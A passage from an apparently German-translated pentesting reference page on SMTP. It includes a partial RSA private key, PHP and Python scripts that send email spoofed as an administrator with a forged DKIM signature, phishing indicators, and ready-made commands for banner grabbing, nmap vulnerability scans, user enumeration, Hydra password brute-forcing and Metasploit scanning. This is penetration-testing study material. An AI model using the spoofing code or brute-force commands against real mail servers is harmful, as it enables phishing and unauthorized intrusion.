koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Oder Sie können es manuell machen:

{% tabs %} {% tab title="PHP" %}

# Dies sendet eine nicht signierte Nachricht
mail("deine_email@gmail.com", "Test Betreff!", "Hey! Dies ist ein Test", "Von: administrator@opfer.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Weitere Informationen

Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter https://seanthegeek.net/459/demystifying-dmarc/

Weitere Phishing-Indikatoren

  • Alter der Domain
  • Links, die auf IP-Adressen verweisen
  • Link-Manipulationstechniken
  • Verdächtige (ungewöhnliche) Anhänge
  • Fehlerhafter E-Mail-Inhalt
  • Verwendung von Werten, die von den Mail-Headern abweichen
  • Vorhandensein eines gültigen und vertrauenswürdigen SSL-Zertifikats
  • Einreichen der Seite bei Web-Inhaltsfilterungsseiten

Exfiltration über SMTP

Wenn Sie Daten über SMTP senden können, lesen Sie dies.

Konfigurationsdatei

Postfix

Normalerweise enthält /etc/postfix/master.cf, wenn installiert, Skripte zum Ausführen, wenn beispielsweise eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}, dass /etc/postfix/filtering ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird.

Andere Konfigurationsdateien:

sendmail.cf
submit.cf

Referenzen

HackTricks Automatische Befehle

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit über 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungsmodule, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

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